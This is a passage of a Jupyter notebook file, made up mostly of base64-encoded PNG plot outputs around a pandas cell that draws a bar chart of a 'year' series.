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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "year.plot(kind='bar')" - ] - }, - { - "cell_type": "code", - "execution_count": 100, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 100, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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